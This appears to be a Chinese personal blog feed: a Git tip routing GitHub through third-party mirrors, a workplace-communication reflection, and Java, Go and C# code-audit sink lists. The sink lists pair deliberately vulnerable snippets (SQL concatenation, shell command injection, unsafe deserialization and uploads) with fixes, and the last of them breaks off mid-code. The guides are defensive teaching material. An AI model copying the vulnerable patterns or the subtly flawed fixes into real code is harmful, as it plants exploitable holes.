0xd00 随笔小记

通过配置Git解决命令行中GitHub资源下载慢的问题

Wed, 28 Jan 2026 00:00:00 GMT

通过Git配置解决GitHub下载慢的问题

在日常开发过程中，我们经常需要从GitHub上克隆或拉取代码，但有时会遇到网络连接缓慢或不稳定的情况。特别是在某些网络环境下，直接访问GitHub可能会很困难。本文将介绍一种简单有效的方法，通过配置Git的URL替换功能来加速GitHub资源的下载。

问题背景

在一些网络环境中，由于各种原因导致访问GitHub速度较慢或者无法正常访问。虽然可以为Git设置HTTP/HTTPS代理，但在某些情况下可能不方便配置代理，或者代理设置比较复杂。

解决方案

我们可以利用Git的url.<base>.insteadOf配置项来解决这个问题。该配置允许我们将特定的URL前缀替换为另一个URL前缀，从而实现通过镜像站点访问GitHub资源的目的。

配置命令

执行以下命令来配置Git，使其自动将GitHub的URL替换为镜像地址：

git config --global url."https://ghfast.top/https://github.com".insteadOf "https://github.com"

这个命令的作用是告诉Git，当它遇到以https://github.com开头的URL时，自动将其替换为https://ghfast.top/https://github.com开头的URL。这样就可以通过镜像站点访问GitHub资源，通常能获得更快的下载速度。

验证配置

配置完成后，你可以通过以下命令验证配置是否生效：

git config --global -l | grep insteadof

如果配置成功，你会看到类似下面的输出：

url.https://ghfast.top/https://github.com.insteadof=https://github.com

这表明Git已经正确记录了URL替换规则。

其他可用的镜像站点

除了ghfast.top，你还可以使用其他GitHub镜像站点，例如：

https://ghproxy.com/https://github.com
https://ghproxy.net/https://github.com
https://hub.fastgit.xyz/https://github.com

只需将上述命令中的镜像地址替换为你想要使用的即可。

移除配置

如果需要移除这个配置，可以使用以下命令：

git config --global --unset url."https://ghfast.top/https://github.com".insteadOf

或者想移除所有URL替换配置，可以使用：

git config --global --remove-section url

注意事项

这种方法只对HTTPS方式的Git操作有效，对于SSH方式不会起作用
不同的镜像站点可能有不同的稳定性和速度表现，可以根据实际情况选择最适合的
镜像站点可能存在一定的延迟，最新的提交可能不会立即同步

群聊里的一句话，让我重新看懂人际交往

Wed, 14 Jan 2026 00:00:00 GMT

import { Image } from 'astro:assets' import imgChat from './assets/img.png'

前些天刷手机，偶然刷到统x内核开发因没穿西装被开除的文章。当时只觉得这公司多少有点离谱，心里漫不经心地飘过一个念头：对他们这种地方来说，少个开发根本无关紧要，能拉来单子、攥紧人脉才是真本事。念头像阵风似的刮过，没留下半点痕迹，我随手关掉这篇消息文章，把这事抛到了脑后。再次想起是在某个技术交流群。手机震了两下，我点开屏幕，进入群聊界面，看到群友1发了张统x内部的聊天记录截图，配文就几个字：“就问了一句开了”。 <Image src={imgChat} alt='群聊天记录' widths={[720, 1080, 1365]} sizes="(max-width: 768px) 96vw, (max-width: 1200px) 90vw, 1100px" format='webp' loading='lazy' decoding='async' class='rounded-xl shadow-sm' /> 截图里的对话很短，员工问了句关于穿西装的事，领导没多言就提了开除。我还没来得及敲下“这也太夸张了”，就看到群友3的回复跳了出来：“这不是问，这语气是质疑，意思是不想买西装，这是顶撞领导，领导说话执行就行了。”

这句话像根细针，轻轻扎了我一下。我盯着屏幕愣了两秒，指尖悬在输入框上方，原本想打“这就是正常沟通吧”，字都输了一半，又默默删掉了。群里已经热闹起来，不少人和我最初的想法一样，觉得这就是普通回复，没人会第一时间往“顶撞”上想。

我靠在办公椅上，盯着群里滚动的消息，脑子里突然冒出个荒诞的画面：一群被驯服的牛马，哪怕主人只是哼了一声，也要赶紧竖起耳朵揣测上意，生怕错会了指令。这个念头让我心里发沉，指尖又一次凑近键盘，想把这个比喻发出去，可顿了顿还是收回了手。我太清楚技术群的规矩，一旦扯到职场人际的是非争论，原本纯粹的技术讨论氛围就会变味，没必要因为一句感慨扫了大家的兴。

我没说话，就当个沉默的旁观者。群里的争论越来越激烈，不少人对着群友3的言论展开抨击，说他“奴性重”“被PUA惯了”，文字里的火气隔着屏幕都能感受到。我滑动屏幕的手指渐渐放慢，心里突然升起一阵莫名的凉意——大家都在站自己的立场发声，却没人想过，不同的人眼里，同一句话真的会有完全不同的解读。

就在争论快白热化的时候，一条支持群友3的消息慢慢浮了上来：“最好改一下习惯，多加点字会稳妥一些，有人会觉得这种说话方式比较挑衅。” 这句话像一盆温水，浇灭了我心里的烦躁，也让我瞬间愣住了。

我关掉群聊界面，手机屏幕暗下去，映出我有点茫然的脸。之前觉得群友3的言论不可理喻，可此刻再回想，才突然意识到，用词谨慎从来都不只是针对领导。

那些我以为“没什么”的表达方式，在某些人眼里，可能真的带着冒犯和挑衅。就像同样一杯水，有人觉得温度刚好，有人觉得太烫，有人觉得太凉，不是水的问题，是每个人的感知不同。人际交往中的沟通，从来都不是“我觉得没问题就没问题”，而是要考虑到对方的接受度。

我重新点开群聊，争论已经平息，没人再揪着这个话题不放。指尖滑动屏幕的动作比平时慢了些，也稳了些。那些人际交往里没人教的分寸感，总要自己撞过几次墙、听几句逆耳的话，才能慢慢悟透。

原来那些我们觉得“没必要”的谨慎，从来都不是多余的。不是要磨掉自己的棱角去讨好谁，而是在成年人的人际交往里，学会用更稳妥的方式传递想法，避免不必要的误解和伤害。就像群里那位群友说的，多加点字，多考虑一点别人的感受，有时候就是最省力的相处方式。

Java 代码审计 - 漏洞Sink点

Thu, 18 Dec 2025 00:00:00 GMT

1. SQL注入

Sink点

Statement.execute()
Statement.executeQuery()
Statement.executeUpdate()
PreparedStatement
MyBatis ${}占位符
Hibernate.createQuery()
Spring Data JPA custom query
JdbcTemplate.update()
EntityManager.createQuery()

审计检查项

是否使用PreparedStatement替代Statement
SQL语句中是否存在字符串拼接
用户输入是否直接进入SQL
是否使用?占位符进行参数化
参数是否通过setString()等方法绑定
所有用户输入是否都被参数化
MyBatis是否使用#{}而非${}
无法参数化部分是否有白名单
ORM框架的参数绑定方式是否正确

风险代码模式

// 模式1：直接字符串拼接
String username = request.getParameter("username");
String sql = "SELECT * FROM users WHERE username = '" + username + "'";
Statement stmt = connection.createStatement();
ResultSet rs = stmt.executeQuery(sql);

// 模式2：PreparedStatement但SQL已包含拼接
String username = request.getParameter("username");
String sql = "SELECT * FROM users WHERE username = '" + username + "'";
PreparedStatement pstmt = connection.prepareStatement(sql);
// 此时参数化未起作用，SQL已被拼接

// 模式3：MyBatis使用${}
<select id="select" resultType="user">
    SELECT * FROM users WHERE username = '${username}'
</select>

// 模式4：ORDER BY未验证
String orderBy = request.getParameter("orderBy");
String sql = "SELECT * FROM users ORDER BY " + orderBy;

安全实现

// 方案1：PreparedStatement参数化
String username = request.getParameter("username");
String sql = "SELECT * FROM users WHERE username = ?";
PreparedStatement pstmt = connection.prepareStatement(sql);
pstmt.setString(1, username);
ResultSet rs = pstmt.executeQuery();

// 方案2：MyBatis使用#{}
<select id="select" resultType="user">
    SELECT * FROM users WHERE username = #{username}
</select>

// 方案3：Hibernate参数化
String username = request.getParameter("username");
Query query = session.createQuery("FROM User WHERE username = :username");
query.setParameter("username", username);
List<User> users = query.list();

// 方案4：ORDER BY白名单
String orderField = request.getParameter("orderBy");
String[] allowedFields = {"id", "username", "email", "createTime"};
if (!Arrays.asList(allowedFields).contains(orderField)) {
    throw new IllegalArgumentException("Invalid field");
}
String sql = "SELECT * FROM users ORDER BY " + orderField;

2. 命令执行

Sink点

Runtime.getRuntime().exec()
ProcessBuilder.start()
ProcessBuilder.command()

审计检查项

用户输入是否进入命令参数
是否使用exec(String)还是exec(String[])
是否通过shell执行（/bin/sh -c）
是否实现了命令白名单
参数是否进行了验证

风险代码模式

// 模式1：用户输入直接作为命令
String cmd = request.getParameter("cmd");
Runtime.getRuntime().exec(cmd);

// 模式2：通过shell执行
String host = request.getParameter("host");
Runtime.getRuntime().exec(new String[]{"/bin/sh", "-c", "ping " + host});

// 模式3：参数通过字符串而非数组传递
String args = userInputArray[0] + " " + userInputArray[1];
new ProcessBuilder(args).start();

安全实现

// 方案1：命令白名单
String cmd = request.getParameter("cmd");
List<String> allowedCommands = Arrays.asList("whoami", "date", "pwd");

if (!allowedCommands.contains(cmd)) {
    throw new IllegalArgumentException("Command not allowed");
}

Process process = Runtime.getRuntime().exec(cmd);

// 方案2：参数白名单+数组形式
String host = request.getParameter("host");
List<String> allowedHosts = Arrays.asList("google.com", "github.com");

if (!allowedHosts.contains(host)) {
    throw new IllegalArgumentException("Host not allowed");
}

ProcessBuilder pb = new ProcessBuilder(
    "/bin/ping", "-c", "4", host
);
Process process = pb.start();

3. 文件上传和任意文件写入

Sink点

FileOutputStream
FileWriter
Files.write()
Files.copy()
RandomAccessFile
CommonsFileUpload.FileItem.write()

审计检查项

扩展名是否进行白名单验证
是否防止了.jsp、.class等可执行文件
MIME类型是否经过验证
文件名是否包含路径分隔符
是否生成了新文件名
最终路径是否在预期目录内
是否使用getCanonicalPath()验证路径

风险代码模式

// 模式1：直接使用上传文件名
ServletFileUpload upload = new ServletFileUpload(factory);
List<FileItem> items = upload.parseRequest(request);
for (FileItem item : items) {
    if (!item.isFormField()) {
        String filename = item.getName();
        String filePath = "uploads/" + filename;
        item.write(new File(filePath));
    }
}

// 模式2：仅检查扩展名
String filename = item.getName();
if (!filename.endsWith(".jpg")) {
    return;
}
// 但shell.jpg.jsp可绕过

安全实现

public void handleFileUpload(HttpServletRequest request) throws Exception {
    ServletFileUpload upload = new ServletFileUpload(factory);
    List<FileItem> items = upload.parseRequest(request);
    
    for (FileItem item : items) {
        if (item.isFormField()) continue;
        
        if (item.getSize() > 5 * 1024 * 1024) {
            throw new Exception("File too large");
        }
        
        String filename = item.getName();
        String extension = FilenameUtils.getExtension(filename);
        List<String> allowedExts = Arrays.asList("jpg", "jpeg", "png", "gif");
        
        if (!allowedExts.contains(extension.toLowerCase())) {
            throw new Exception("File type not allowed");
        }
        
        String contentType = item.getContentType();
        List<String> allowedMimes = Arrays.asList("image/jpeg", "image/png");
        
        if (!allowedMimes.contains(contentType)) {
            throw new Exception("Invalid MIME type");
        }
        
        String safeFilename = UUID.randomUUID() + "." + extension.toLowerCase();
        
        String uploadDir = "/absolute/path/to/uploads";
        String filepath = new File(uploadDir, safeFilename).getCanonicalPath();
        String canonicalDir = new File(uploadDir).getCanonicalPath();
        
        if (!filepath.startsWith(canonicalDir)) {
            throw new Exception("Invalid file path");
        }
        
        item.write(new File(filepath));
    }
}

4. 反序列化漏洞

Sink点

ObjectInputStream.readObject()
ObjectInputStream.readUnshared()

审计检查项

是否对不可信输入执行反序列化
数据来源是否可信
是否实现了类白名单
是否使用ObjectInputFilter

风险代码模式

// 模式1：直接反序列化用户输入
byte[] data = Base64.getDecoder().decode(request.getParameter("data"));
ObjectInputStream ois = new ObjectInputStream(
    new ByteArrayInputStream(data)
);
Object obj = ois.readObject();

// 模式2：从HTTP请求反序列化
ObjectInputStream ois = new ObjectInputStream(
    request.getInputStream()
);
Object obj = ois.readObject();

安全实现

// 方案1：使用ObjectInputFilter
public Object safeDeserialize(byte[] data) throws Exception {
    ObjectInputFilter filter = ObjectInputFilter.Config.createFilter(
        "java.util.*;java.lang.*;!java.io.*;!sun.*;!com.sun.*"
    );
    
    ObjectInputStream ois = new ObjectInputStream(
        new ByteArrayInputStream(data)
    );
    ObjectInputFilter.Config.setObjectInputFilter(ois, filter);
    
    return ois.readObject();
}

// 方案2：白名单实现
public class WhitelistObjectInputStream extends ObjectInputStream {
    private static final Set<String> ALLOWED_CLASSES = new HashSet<>(
        Arrays.asList("User", "Product", "Order")
    );
    
    public WhitelistObjectInputStream(InputStream in) throws IOException {
        super(in);
    }
    
    @Override
    protected Class<?> resolveClass(ObjectStreamClass desc) 
            throws IOException, ClassNotFoundException {
        if (!ALLOWED_CLASSES.contains(desc.getName())) {
            throw new InvalidClassException("Class not allowed");
        }
        return super.resolveClass(desc);
    }
}

5. 任意文件读取

Sink点

FileInputStream
FileReader
Files.readAllBytes()
Files.readAllLines()
RandomAccessFile

审计检查项

用户参数是否直接作为文件路径
是否使用getCanonicalPath()规范化
最终路径是否在允许目录内
是否实现了文件白名单

安全实现

public String readFileSafely(String filename) throws Exception {
    String cleanFilename = new File(filename).getName();
    String baseDir = "/absolute/path/to/files";
    String filepath = new File(baseDir, cleanFilename).getCanonicalPath();
    String canonicalDir = new File(baseDir).getCanonicalPath();
    
    if (!filepath.startsWith(canonicalDir + File.separator)) {
        throw new Exception("Access denied");
    }
    
    return new String(Files.readAllBytes(Paths.get(filepath)));
}

6. 路径遍历

Sink点

文件操作

审计检查项

路径中是否包含..
是否使用getCanonicalPath()规范化
规范化后路径是否在基础目录内

安全实现

public String validatePath(String userInput) throws Exception {
    String baseDir = new File("/data").getCanonicalFile().getAbsolutePath();
    File file = new File(baseDir, userInput).getCanonicalFile();
    
    if (!file.getAbsolutePath().startsWith(baseDir)) {
        throw new IllegalArgumentException("Path traversal detected");
    }
    
    return file.getAbsolutePath();
}

7. XXE (XML External Entity)

Sink点

DocumentBuilder.parse()
SAXParserFactory.newInstance()
XMLReader.parse()
Unmarshaller.unmarshal()

审计检查项

是否对不可信XML进行解析
外部实体是否被禁用
DTD处理是否被禁用
XIncludeAware是否为false

安全实现

public Document parseXmlSafely(InputStream xmlInput) throws Exception {
    DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
    
    dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
    dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
    dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
    dbf.setXIncludeAware(false);
    dbf.setExpandEntityReferences(false);
    
    DocumentBuilder db = dbf.newDocumentBuilder();
    return db.parse(xmlInput);
}

8. SSRF (Server-Side Request Forgery)

Sink点

HttpURLConnection.openConnection()
URLConnection.getInputStream()
HttpClient.execute()
RestTemplate.exchange()

审计检查项

是否允许用户指定URL
是否检测内部地址
是否限制了协议
是否防止了DNS重绑定

安全实现

public String fetchUrlSafely(String urlStr) throws Exception {
    URL url = new URL(urlStr);
    
    if (!url.getProtocol().matches("^https?$")) {
        throw new IllegalArgumentException("Invalid protocol");
    }
    
    InetAddress addr = InetAddress.getByName(url.getHost());
    
    if (addr.isLoopbackAddress() || addr.isLinkLocalAddress() || 
        addr.isSiteLocalAddress()) {
        throw new IllegalArgumentException("Internal address not allowed");
    }
    
    HttpURLConnection conn = (HttpURLConnection) url.openConnection();
    conn.setConnectTimeout(10000);
    conn.setReadTimeout(10000);
    
    BufferedReader reader = new BufferedReader(
        new InputStreamReader(conn.getInputStream())
    );
    StringBuilder result = new StringBuilder();
    String line;
    while ((line = reader.readLine()) != null) {
        result.append(line);
    }
    
    return result.toString();
}

9. 表达式注入

SpEL注入

Sink点：ExpressionParser.parseExpression()

检查项：用户输入是否直接作为表达式；是否使用SimpleEvaluationContext

OGNL注入

Sink点：Ognl.parseExpression()

检查项：是否允许用户输入作为OGNL表达式

安全实现（SpEL）

String expression = request.getParameter("expr");
ExpressionParser parser = new SpelExpressionParser();
EvaluationContext context = 
    SimpleEvaluationContext.forReadOnlyDataBinding().build();
Expression exp = parser.parseExpression(expression);
Object result = exp.getValue(context);

10. 其他漏洞

JNDI注入

Sink点：InitialContext.lookup()

检查项：用户输入是否被用作JNDI名称

日志注入

Sink点：logger.info()、logger.debug()

检查项：是否记录了未清理的用户输入；是否使用了参数化日志

LDAP注入

Sink点：DirContext.search()

检查项：是否转义了LDAP特殊字符

11. 审计工具

静态分析：CodeQL、Semgrep、SonarQube、Fortify
动态检测：OWASP ZAP、Burp Suite、AppScan
依赖检查：OWASP Dependency-Check、Snyk

Go 代码审计 - 漏洞Sink点

Thu, 18 Dec 2025 00:00:00 GMT

1. SQL注入

Sink点

database/sql.DB.Query()
database/sql.DB.QueryRow()
database/sql.DB.Exec()
database/sql.Stmt.Query()
database/sql.Stmt.QueryRow()
database/sql.Stmt.Exec()
GORM Where()
GORM Raw()
GORM Order()

审计检查项

是否使用?占位符进行参数化
SQL语句中是否存在字符串拼接
用户输入是否直接进入SQL
是否使用Prepare()进行预处理
GORM Where()是否参数化形式
GORM Raw()是否与用户拼接
GORM Order()是否有白名单
无法参数化部分是否验证

风险代码模式

// 模式1：字符串拼接
username := r.FormValue("username")
query := "SELECT * FROM users WHERE username = '" + username + "'"
rows, err := db.Query(query)

// 模式2：GORM Raw拼接
filter := r.FormValue("filter")
var user User
db.Raw("SELECT * FROM users WHERE username = '" + filter + "'").Scan(&user)

// 模式3：GORM Where拼接
db.Where("username = '" + username + "'").First(&user)

// 模式4：ORDER BY未验证
orderBy := r.FormValue("orderBy")
db.Order(orderBy).Find(&users)

安全实现

// 方案1：参数化查询
username := r.FormValue("username")
var user User
err := db.QueryRow(
    "SELECT id, username FROM users WHERE username = ?",
    username,
).Scan(&user.ID, &user.Username)

// 方案2：GORM参数化
db.Where("username = ?", username).First(&user)

// 方案3：GORM Order白名单
orderBy := r.FormValue("orderBy")
allowedFields := map[string]bool{
    "id": true, "username": true, "email": true, "created_at": true,
}
if !allowedFields[orderBy] {
    http.Error(w, "Invalid field", 400)
    return
}
db.Order(orderBy).Find(&users)

// 方案4：Prepare预处理
stmt, err := db.Prepare("SELECT * FROM users WHERE username = ?")
if err != nil {
    log.Fatal(err)
}
defer stmt.Close()

rows, err := stmt.Query(username)

2. 命令执行

Sink点

os/exec.Command()
os/exec.CommandContext()
os/exec.LookPath()

审计检查项

第二个参数(args)是否包含用户输入
第一个参数(程序名)是否来自用户
是否使用了绝对路径
是否实现了命令白名单
参数是否进行了验证

风险代码模式

// 模式1：用户输入直接作为命令
cmd := r.FormValue("cmd")
out, err := exec.Command(cmd).CombinedOutput()

// 模式2：通过shell执行用户输入
cmd := r.FormValue("cmd")
out, err := exec.Command("sh", "-c", cmd).CombinedOutput()

// 模式3：从用户输入确定可执行程序
program := r.FormValue("program")
out, err := exec.Command(program, "arg").CombinedOutput()

// 模式4：参数包含用户输入但未验证
hostname := r.FormValue("host")
out, err := exec.Command("ping", "-c", "4", hostname).CombinedOutput()

安全实现

// 方案1：命令白名单
cmd := r.FormValue("cmd")
allowedCommands := map[string]bool{
    "whoami": true,
    "date":   true,
    "pwd":    true,
}

if !allowedCommands[cmd] {
    http.Error(w, "Command not allowed", 400)
    return
}

out, err := exec.Command(cmd).CombinedOutput()
fmt.Fprint(w, string(out))

// 方案2：参数白名单+绝对路径
hostname := r.FormValue("host")
allowedHosts := map[string]bool{
    "google.com":  true,
    "github.com":  true,
    "example.com": true,
}

if !allowedHosts[hostname] {
    http.Error(w, "Host not allowed", 400)
    return
}

cmd := exec.Command("/bin/ping", "-c", "4", hostname)
cmd.Stdout = w
cmd.Stderr = w
err := cmd.Run()

3. 文件上传和任意文件写入

Sink点

os.Create()
os.OpenFile()
ioutil.WriteFile()
os.WriteFile()
io.Copy()

审计检查项

扩展名是否进行白名单验证
是否防止了.go、.exe等文件
MIME类型是否经过验证
文件名是否包含路径分隔符
是否生成了新文件名
最终路径是否在预期目录内

风险代码模式

// 模式1：直接使用上传文件名
file, header, _ := r.FormFile("upload")
defer file.Close()

dst, _ := os.Create("uploads/" + header.Filename)
io.Copy(dst, file)

// 模式2：仅检查扩展名
if !strings.HasSuffix(header.Filename, ".jpg") {
    return
}
// 但shell.jpg.go可绕过

安全实现

import (
    "crypto/md5"
    "fmt"
    "io"
    "path/filepath"
    "strings"
)

func handleFileUpload(w http.ResponseWriter, r *http.Request) {
    r.ParseMultipartForm(10 * 1024 * 1024)
    
    file, header, err := r.FormFile("upload")
    if err != nil {
        http.Error(w, "Upload error", 400)
        return
    }
    defer file.Close()
    
    ext := filepath.Ext(header.Filename)
    allowedExts := map[string]bool{
        ".jpg": true, ".jpeg": true, ".png": true, ".gif": true,
    }
    
    if !allowedExts[strings.ToLower(ext)] {
        http.Error(w, "File type not allowed", 400)
        return
    }
    
    buf := make([]byte, 512)
    n, _ := file.Read(buf)
    mimeType := http.DetectContentType(buf[:n])
    file.Seek(0, 0)
    
    allowedMimes := map[string]bool{
        "image/jpeg": true,
        "image/png":  true,
        "image/gif":  true,
    }
    
    if !allowedMimes[mimeType] {
        http.Error(w, "Invalid MIME type", 400)
        return
    }
    
    hash := md5.Sum(buf[:n])
    filename := fmt.Sprintf("%x%s", hash, ext)
    
    uploadDir := "uploads"
    filepath := filepath.Join(uploadDir, filename)
    absPath, _ := filepath.Abs(filepath)
    absDir, _ := filepath.Abs(uploadDir)
    
    if !strings.HasPrefix(absPath, absDir) {
        http.Error(w, "Invalid path", 400)
        return
    }
    
    dst, err := os.OpenFile(filepath, os.O_CREATE|os.O_WRONLY, 0644)
    if err != nil {
        http.Error(w, "Save error", 500)
        return
    }
    defer dst.Close()
    
    io.Copy(dst, file)
    w.WriteHeader(http.StatusOK)
}

4. 任意文件读取

Sink点

os.Open()
ioutil.ReadFile()
os.ReadFile()
io.ReadAll()
bufio.Scanner

审计检查项

用户参数是否直接作为文件路径
是否使用filepath.Base()
是否使用filepath.Abs()
最终路径是否在允许目录内

安全实现

func readFileSafely(w http.ResponseWriter, r *http.Request) {
    filename := r.FormValue("file")
    
    safeName := filepath.Base(filename)
    baseDir := "files"
    filepath := filepath.Join(baseDir, safeName)
    absPath, _ := filepath.Abs(filepath)
    absBaseDir, _ := filepath.Abs(baseDir)
    
    if !strings.HasPrefix(absPath, absBaseDir) {
        http.Error(w, "Access denied", 403)
        return
    }
    
    content, err := ioutil.ReadFile(filepath)
    if err != nil {
        http.Error(w, "File not found", 404)
        return
    }
    
    w.Header().Set("Content-Type", "text/plain")
    w.Write(content)
}

5. 路径遍历

Sink点

文件操作

审计检查项

路径是否包含用户输入
是否使用filepath.Clean()
规范化后路径是否在基础目录内

安全实现

func validatePath(userPath string) (string, error) {
    baseDir := "downloads"
    filepath := filepath.Join(baseDir, userPath)
    filepath = filepath.Clean(filepath)
    
    absPath, _ := filepath.Abs(filepath)
    absBaseDir, _ := filepath.Abs(baseDir)
    
    if !strings.HasPrefix(absPath, absBaseDir) {
        return "", fmt.Errorf("path traversal detected")
    }
    
    return absPath, nil
}

6. XXE (XML External Entity)

Sink点

encoding/xml.Unmarshal()
encoding/xml.NewDecoder()
encoding/xml.Decoder.Decode()

审计检查项

是否对不可信XML进行解析
是否禁用了外部实体
DOCTYPE声明是否被检查

说明：Go的encoding/xml默认不解析外部实体，相对安全。

安全实现

xmlData := r.FormValue("xml")

// 可选：检查并拒绝DOCTYPE
if strings.Contains(xmlData, "<!DOCTYPE") {
    http.Error(w, "DOCTYPE not allowed", 400)
    return
}

decoder := xml.NewDecoder(strings.NewReader(xmlData))
var data MyStruct
err := decoder.Decode(&data)

7. SSRF (Server-Side Request Forgery)

Sink点

net.Dial()
http.Get()
http.Post()
http.Client.Do()
net.LookupIP()

审计检查项

是否允许用户指定URL
是否检测内部地址（127.0.0.1）
是否限制了协议（仅HTTP/HTTPS）
是否防止了DNS重绑定
域名是否在白名单内

安全实现

import (
    "net"
    "net/url"
)

func isPrivateIP(ip string) bool {
    parsedIP := net.ParseIP(ip)
    return parsedIP.IsLoopback() || parsedIP.IsPrivate() || parsedIP.IsLinkLocalUnicast()
}

func validateURL(urlStr string) error {
    parsedURL, err := url.Parse(urlStr)
    if err != nil {
        return err
    }
    
    if parsedURL.Scheme != "http" && parsedURL.Scheme != "https" {
        return fmt.Errorf("invalid scheme: %s", parsedURL.Scheme)
    }
    
    ips, err := net.LookupIP(parsedURL.Hostname())
    if err != nil {
        return err
    }
    
    for _, ip := range ips {
        if isPrivateIP(ip.String()) {
            return fmt.Errorf("private IP address not allowed")
        }
    }
    
    whitelist := map[string]bool{
        "example.com":     true,
        "api.example.com": true,
    }
    
    if !whitelist[parsedURL.Hostname()] {
        return fmt.Errorf("domain not in whitelist")
    }
    
    return nil
}

func handleFetch(w http.ResponseWriter, r *http.Request) {
    urlStr := r.FormValue("url")
    
    if err := validateURL(urlStr); err != nil {
        http.Error(w, err.Error(), 400)
        return
    }
    
    client := &http.Client{Timeout: 10 * time.Second}
    resp, err := client.Get(urlStr)
    if err != nil {
        http.Error(w, "Fetch error", 500)
        return
    }
    defer resp.Body.Close()
    
    io.Copy(w, resp.Body)
}

8. 模板注入

Sink点

text/template.Parse()
html/template.Parse()
text/template.Execute()
html/template.Execute()

审计检查项

是否允许用户编辑模板
是否使用text/template
是否使用html/template
是否将用户输入作为模板

风险代码模式

// 模式1：用户可控制模板
tplContent := r.FormValue("template")
tpl, _ := template.New("user").Parse(tplContent)
tpl.Execute(w, data)

// 模式2：使用text/template（无XSS防护）
import "text/template"
// <script> 会直接输出

安全实现

import "html/template"

// 方案1：从文件加载
tpl, _ := html.template.ParseFiles("templates/index.html")
tpl.Execute(w, data)

// 方案2：使用html/template（自动转义）
tpl, _ := html.template.New("safe").Parse("<div>{{.UserInput}}</div>")
// UserInput中的<script>会被转义

// 方案3：显式转义
import "html"
safeTxt := html.EscapeString(userInput)
fmt.Fprintf(w, "<div>%s</div>", safeTxt)

9. 其他漏洞

XSS

Sink点：fmt.Fprint()

检查项：使用html/template自动转义

开放重定向

Sink点：http.Redirect()

检查项：验证重定向URL

10. Go语言安全特性

| 特性 | 说明 | |-----|------| | 强类型编译 | 编译期类型检查 | | 默认XML安全 | encoding/xml不解析外部实体 | | 反序列化安全 | 不自动调用方法 | | 内存安全 | 垃圾回收机制 |

注意事项

Windows下os/exec的PATH搜索问题
text/template缺乏XSS防护，应使用html/template
第三方库可能有漏洞

11. 审计工具

静态分析：golangci-lint、gosec、SonarQube、Semgrep
动态检测：OWASP ZAP、Burp Suite
依赖检查：go mod audit（Go 1.21+）、nancy、Snyk
官方工具：govulncheck

C Sharp 代码审计 - 漏洞Sink点

Thu, 18 Dec 2025 00:00:00 GMT

1. SQL注入

Sink点

SqlCommand.ExecuteNonQuery()
SqlCommand.ExecuteReader()
SqlCommand.ExecuteScalar()
SqlDataAdapter.Fill()
DbContext.Database.ExecuteSql()
DbContext.Database.SqlQuery()
Dapper connection.Query()
FromSqlRaw()
FromSqlInterpolated()

审计检查项

是否使用参数化查询（占位符@parameter）
SQL字符串是否通过拼接构造
用户输入是否直接进入SQL
参数是否通过Parameters.AddWithValue()绑定
所有用户输入是否都被参数化处理
EF Core FromSql()与FromSqlRaw()区别
特殊子句（ORDER BY）是否有白名单
存储过程参数是否验证

风险代码模式

// 模式1：直接拼接
string username = Request.QueryString["username"];
string sql = "SELECT * FROM Users WHERE Name = '" + username + "'";
var cmd = new SqlCommand(sql, connection);
var result = cmd.ExecuteReader();

// 模式2：EF Core FromSqlRaw使用字符串插值
string filter = Request.QueryString["filter"];
var users = context.Users
    .FromSqlRaw($"SELECT * FROM Users WHERE Name = {filter}")
    .ToList();

// 模式3：ORM框架拼接SQL
var users = db.Queryable<User>()
    .Select(x => SqlFunc.MappingColumn("SELECT * FROM Users WHERE Name = '" + userInput + "'"))
    .ToList();

安全实现

// 方案1：参数化查询
string username = Request.QueryString["username"];
string sql = "SELECT * FROM Users WHERE Name = @username";
using (SqlCommand cmd = new SqlCommand(sql, connection))
{
    cmd.Parameters.AddWithValue("@username", username);
    var reader = cmd.ExecuteReader();
}

// 方案2：EF Core参数化
var username = Request.QueryString["username"];
var users = await context.Users
    .FromSql($"SELECT * FROM Users WHERE Name = {username}")
    .ToListAsync();

// 方案3：LINQ避免手写SQL
var username = Request.QueryString["username"];
var users = context.Users
    .Where(u => u.Name == username)
    .ToList();

// 方案4：ORDER BY白名单
string orderBy = Request.QueryString["orderBy"] ?? "id";
var allowedFields = new[] { "id", "name", "email", "createdAt" };
if (!allowedFields.Contains(orderBy))
    throw new ArgumentException("Invalid field");
var sql = "SELECT * FROM Users ORDER BY " + orderBy;

2. 命令执行

Sink点

Process.Start()
ProcessStartInfo.FileName
ProcessStartInfo.Arguments
ProcessStartInfo.UserName
ProcessStartInfo.Password

审计检查项

用户输入是否直接作为FileName
Arguments是否包含用户输入
UseShellExecute是否为true
是否使用了绝对路径
是否实现了命令白名单
参数是否进行了验证

风险代码模式

// 模式1：用户输入作为命令
string cmd = Request.QueryString["cmd"];
Process.Start(cmd);

// 模式2：通过shell执行
string hostname = Request.QueryString["hostname"];
Process.Start("cmd.exe", "/c ipconfig " + hostname);

// 模式3：ProcessStartInfo配置不当
var psi = new ProcessStartInfo
{
    FileName = "powershell.exe",
    Arguments = "-Command " + userCmd,
    UseShellExecute = true  // 通过shell执行，更危险
};
Process.Start(psi);

安全实现

// 方案：命令白名单
var userCmd = Request.QueryString["cmd"];
var allowedCommands = new[] { "whoami", "date", "pwd" };

if (!allowedCommands.Contains(userCmd))
    throw new ArgumentException("Command not allowed");

Process.Start(userCmd);

// 方案：参数白名单
var hostname = Request.QueryString["hostname"];
var allowedHosts = new[] { "google.com", "github.com" };

if (!allowedHosts.Contains(hostname))
    throw new ArgumentException("Host not allowed");

var psi = new ProcessStartInfo
{
    FileName = "/bin/ping",
    Arguments = $"-c 4 {hostname}",
    UseShellExecute = false,
    RedirectStandardOutput = true
};

using (var process = Process.Start(psi))
{
    var output = process.StandardOutput.ReadToEnd();
}

3. 文件上传和任意文件写入

Sink点

File.SaveAs()
File.WriteAllBytes()
File.WriteAllText()
FileStream.Write()
File.Create()
StreamWriter.Write()
Path.Combine()

审计检查项

扩展名是否进行白名单验证
是否防止了.aspx、.ashx等可执行文件
MIME类型是否经过验证
文件名是否包含路径分隔符
是否使用Path.GetFileName()清理
是否生成了新文件名
保存路径是否在预期目录内
最终路径是否被规范化验证

风险代码模式

// 模式1：直接使用上传文件名
if (Request.Files.Count > 0)
{
    var file = Request.Files[0];
    file.SaveAs(Path.Combine(Server.MapPath("~/uploads"), file.FileName));
}

// 模式2：仅检查扩展名
if (Path.GetExtension(file.FileName).ToLower() == ".jpg")
{
    file.SaveAs("uploads/" + file.FileName);
}

// 模式3：未验证保存路径
var uploadPath = "uploads/" + file.FileName;
file.SaveAs(uploadPath);

安全实现

public ActionResult Upload(HttpPostedFileBase file)
{
